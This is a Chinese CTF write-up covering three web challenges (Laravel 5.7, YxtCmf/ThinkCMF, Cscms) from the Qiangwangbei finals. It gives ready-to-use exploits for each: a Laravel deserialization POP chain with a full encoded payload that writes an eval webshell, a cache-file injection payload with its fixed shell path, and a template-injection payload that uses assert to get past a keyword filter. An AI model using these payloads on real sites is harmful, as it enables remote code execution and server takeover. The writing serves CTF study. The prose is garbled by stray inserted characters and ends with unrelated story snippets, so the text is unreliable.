強(qiáng)網(wǎng)杯決賽RW的3個(gè)Web題

這次真的是神仙打架竞慢,web狗無(wú)處茍活,AWD只有PWN題治泥,所以Web狗只能奮力懟RW的3個(gè)web筹煮,這里不得不膜一下大師傅們,審得太快了居夹,第二天排隊(duì)排太久败潦,啥血也沒搶到,簡(jiǎn)單寫下3個(gè)web的解題思路......這里放下源碼准脂,方便復(fù)現(xiàn)(https://pan.baidu.com/s/1WngiF9tTCMZq7SKqDaOa6g 提取碼: kj7b)

0x01 laravel

這個(gè)下發(fā)的版本是5.7劫扒,并且之前有人發(fā)表過對(duì)該版本的漏洞的分析文章,所以這題差不多算是一個(gè)web簽到題意狠,這里貼一下鏈接:https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
在寫這個(gè)分析文章的時(shí)候粟关,大師傅可能避嫌把這個(gè)頁(yè)面關(guān)了,也就是在程序流處理過程中环戈,我們可以控制序列化的內(nèi)容闷板,所以只要構(gòu)造一個(gè)反序列化點(diǎn)就可以觸發(fā)該反序列RCE漏洞,剛好這個(gè)題目的設(shè)定就是給了反序列化點(diǎn)的院塞。
/public/index.php:

namespace App\Http\Controllers;
highlight_file(__FILE__);
class TaskController
{
    public function index()
    {
        if(isset($_GET['code']))
        {
            $code = $_GET['code'];
            unserialize($code);
            return "Welcome to qiangwangbei!";
        }
    }
}
?>

這里給了一個(gè)反序列化利用點(diǎn)所以我們只要把序列化的內(nèi)容賦給code參數(shù)就可以了遮晚,直接貼Exp代碼(反正也不是我寫的,因?yàn)橘愔埔竽玫絪hell,而且只有index.php可寫拦止,這個(gè)地方坑了我的第一次機(jī)會(huì)县遣,吐槽一下)
get.php

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}


namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
?>

rce.php

<?php
include("get.php");
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('echo "<?php eval(\$_REQUEST[Cyc1e]);?>" > index.php'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
?>

GET方式把payload打過去就好了

URL:/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A50%3A%22echo+%22%3C%3Fphp+eval%28%5C%24_REQUEST%5Bpass%5D%29%3B%3F%3E%22+%3E+index.php%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

0x02 YxtCmf

第一天的下午一直在審這個(gè)cmf框架的源碼糜颠,是基于ThinkPhp框架進(jìn)行二次開發(fā)的,thinphp的緩存機(jī)制算是比較有意思的萧求,主要思路是通過控制緩存文件來(lái)拿shell其兴,查看thinkcmf的一個(gè)文檔


sp_set_dynamic_config.png

設(shè)置了動(dòng)態(tài)更新系統(tǒng)配置的函數(shù),查看一下sp_set_dynamic_config函數(shù)的內(nèi)容

function sp_set_dynamic_config($data){
    
    if(!is_array($data)){
        return false;
    }
    
    if(sp_is_sae()){
        $kv = new SaeKV();
        $ret = $kv->init();
        $configs=$kv->get("THINKCMF_DYNAMIC_CONFIG");
        $configs=empty($configs)?array():unserialize($configs);
        $configs=array_merge($configs,$data);
        $result = $kv->set('THINKCMF_DYNAMIC_CONFIG', serialize($configs));
    }elseif(defined('IS_BAE') && IS_BAE){
        $bae_mc=new BaeMemcache();
        $configs=$bae_mc->get("THINKCMF_DYNAMIC_CONFIG");
        $configs=empty($configs)?array():unserialize($configs);
        $configs=array_merge($configs,$data);
        $result = $bae_mc->set("THINKCMF_DYNAMIC_CONFIG",serialize($configs),MEMCACHE_COMPRESSED,0);
    }else{
        $config_file="./data/conf/config.php";
        if(file_exists($config_file)){
            $configs=include $config_file;
        }else {
            $configs=array();
        }
        $configs=array_merge($configs,$data);
        $result = file_put_contents($config_file, "<?php\treturn " . var_export($configs, true) . ";");
    }
    sp_clear_cache();
    S("sp_dynamic_config",$configs);
    return $result;
}

把$config和字符串“THINKCMF_DYNAMIC_CONFIG”夸政,傳入了set函數(shù)元旬,set函數(shù)是一個(gè)寫入緩存文件的函數(shù),也就是把sp_set_dynamic_config傳入的固定字符串處理后當(dāng)作文件名生成守问,傳入的$config的數(shù)據(jù)為緩存文件的內(nèi)容匀归,也就是說控制了緩存內(nèi)容在拿到緩存文件名就可以控制緩存文件了,所以接下來(lái)就是找哪一個(gè)sp_set_dynamic_config函數(shù)我們可以用耗帕,因?yàn)轭}目環(huán)境設(shè)定是把a(bǔ)dmin穆端、install等目錄給去了,也就限制了利用訪問仿便,本菜習(xí)慣用notepad++,所以全局搜索sp_set_dynamic_config的調(diào)用情況体啰,再排除一下,最終確定了\application\Api\Controller\OauthController.class.php中的sp_set_dynamic_config可以任意控制

function injectionAuthocode(){
        $postdata=I('post.');
        $configs["authoCode"]=$postdata['authoCode'];
        sp_set_dynamic_config($configs);
    }

緩存文件里的內(nèi)容是注釋后的序列化值嗽仪,所以構(gòu)造一下post值換行再注釋后面的語(yǔ)句就可以寫入任意代碼了

POST:authoCode=Cyc1e%0aeval($_REQUEST[pass]);//

接下來(lái)就是緩存文件名的問題了(畢竟緩存文件名是個(gè)md5值狡赐,爆破是不可能的),分析set函數(shù)即可钦幔,發(fā)現(xiàn)就是兩個(gè)固定的字符串拼接處理枕屉,所以這就是一個(gè)固定的值了,緩存的文件名固定為ed182ead0631e95e68e008bc1d3af012.php鲤氢,本地生成了直接上臺(tái)打就行了搀擂,第一天下午就分析到這,卡在了路由觸發(fā)規(guī)則上卷玉,大寫的尷尬哨颂,到酒店繼續(xù)看了下,是自己傻了相种,路由規(guī)則看錯(cuò)了威恼,所以最后的payload

URL:/index.php/api/oauth/injectionAuthocode
POST:authoCode=Cyc1e%0aeval($_REQUEST[Cyc1e]);//
PATH:/data/runtime/Temp/ed182ead0631e95e68e008bc1d3af012.php

直接觸發(fā)就好了


Test

0x03 Cscms

這題晚上才開始審,查了下最近報(bào)出的洞寝并,發(fā)現(xiàn)這個(gè)cms好像是涼了的箫措,最近的也就是17年的了,有一個(gè)SSTI的補(bǔ)丁衬潦,而且怎么找到找不到這個(gè)補(bǔ)丁的代碼斤蔓,就順著這個(gè)思路去了,既然不讓我找到镀岛,那估計(jì)就有問題的嘛弦牡,2333友驮,這題給的題目信息一樣是刪除了admin、install目錄驾锰,所以一樣是前臺(tái)的洞了卸留,既然是SSTI,那肯定是有一個(gè)代碼執(zhí)行點(diǎn)的椭豫,全局搜索eval函數(shù)艾猜,最終定位到
\cscms\app\models\Csskins.php

// php標(biāo)簽處理
public function cscms_php($php,$content,$str) {
        $evalstr=" return $content";
        $newsphp=eval($evalstr);
        $str=str_replace($php,$newsphp,$str);
        return $str;
    }

只要控制了$content,就可以執(zhí)行任意代碼捻悯,進(jìn)行函數(shù)的回溯,這個(gè)最難受了淤毛,就一個(gè)template_parse函數(shù)調(diào)用了cscms_php今缚,定位php處理代碼

//PHP代碼解析
preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
    for($i=0;$i<count($php_arr[0]);$i++){
          $str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
    }
}
unset($php_arr);

也就是說正則匹配{cscmsphp}([\s\S]+?){/cscmsphp},把匹配到的數(shù)據(jù)傳給cscms_php低淡,再利用eval直接執(zhí)行姓言,分析到這邏輯就很清晰了,就是要找一個(gè)前臺(tái)的調(diào)用了template_parse函數(shù)的地方蔗蹋,控制輸入的內(nèi)容何荚,就可以實(shí)現(xiàn)任意代碼執(zhí)行,全局搜索調(diào)用情況猪杭,定位一個(gè)好調(diào)用的地方:\plugins\sys\home\Gbook.php(意見留言板餐塘,不用任何權(quán)限直接觸發(fā)),其中的ajax函數(shù)對(duì)其進(jìn)行了調(diào)用

$Mark_Text=$this->Csskins->template_parse($Mark_Text,false);

也就是獲取到留言板輸入的內(nèi)容皂吮,傳入到template_parse函數(shù)中戒傻,所以我們構(gòu)造留言數(shù)據(jù)的時(shí)候,加上{cscmsphp}{/cscmsphp}便簽就會(huì)傳到eval函數(shù)中蜂筹,測(cè)試了下eval($_REQUEST[Cyc1e]);需纳,然后失敗了,盡然還有轉(zhuǎn)義艺挪,也是很有意思不翩,找到處理代碼。

$str = preg_replace('#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si','\\1\\2&#40;\\3&#41;',$str);

就過濾了這幾個(gè)麻裳,所以構(gòu)造下payload:

URL:index.php/gbook
留言數(shù)據(jù):{cscmsphp}assert($_REQUEST[Cyc1e]);{/cscmsphp}
Shell:/index.php/gbook/lists/1?Cyc1e=phpinfo();
GET

0x04 小結(jié)

總的來(lái)說口蝠,神仙打架,Web狗沒前途津坑,神仙們都不在意Web的那一丟丟分

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末亚皂,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子国瓮,更是在濱河造成了極大的恐慌灭必,老刑警劉巖狞谱,帶你破解...
    沈念sama閱讀 219,366評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異禁漓,居然都是意外死亡跟衅,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,521評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門播歼,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)伶跷,“玉大人,你說我怎么就攤上這事秘狞“饶” “怎么了?”我有些...
    開封第一講書人閱讀 165,689評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵烁试,是天一觀的道長(zhǎng)雇初。 經(jīng)常有香客問我,道長(zhǎng)减响,這世上最難降的妖魔是什么靖诗? 我笑而不...
    開封第一講書人閱讀 58,925評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮支示,結(jié)果婚禮上刊橘,老公的妹妹穿的比我還像新娘。我一直安慰自己颂鸿,他們只是感情好促绵,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,942評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著嘴纺,像睡著了一般绞愚。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上颖医,一...
    開封第一講書人閱讀 51,727評(píng)論 1 305
  • 那天位衩,我揣著相機(jī)與錄音,去河邊找鬼熔萧。 笑死糖驴,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的佛致。 我是一名探鬼主播贮缕,決...
    沈念sama閱讀 40,447評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼俺榆!你這毒婦竟也來(lái)了感昼?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,349評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤罐脊,失蹤者是張志新(化名)和其女友劉穎定嗓,沒想到半個(gè)月后蜕琴,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,820評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡宵溅,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,990評(píng)論 3 337
  • 正文 我和宋清朗相戀三年凌简,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片恃逻。...
    茶點(diǎn)故事閱讀 40,127評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡雏搂,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出寇损,到底是詐尸還是另有隱情凸郑,我是刑警寧澤,帶...
    沈念sama閱讀 35,812評(píng)論 5 346
  • 正文 年R本政府宣布矛市,位于F島的核電站芙沥,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏尘盼。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,471評(píng)論 3 331
  • 文/蒙蒙 一烦绳、第九天 我趴在偏房一處隱蔽的房頂上張望卿捎。 院中可真熱鬧,春花似錦径密、人聲如沸午阵。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,017評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)底桂。三九已至,卻和暖如春惧眠,著一層夾襖步出監(jiān)牢的瞬間籽懦,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,142評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工氛魁, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留暮顺,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,388評(píng)論 3 373
  • 正文 我出身青樓秀存,卻偏偏與公主長(zhǎng)得像捶码,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子或链,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,066評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容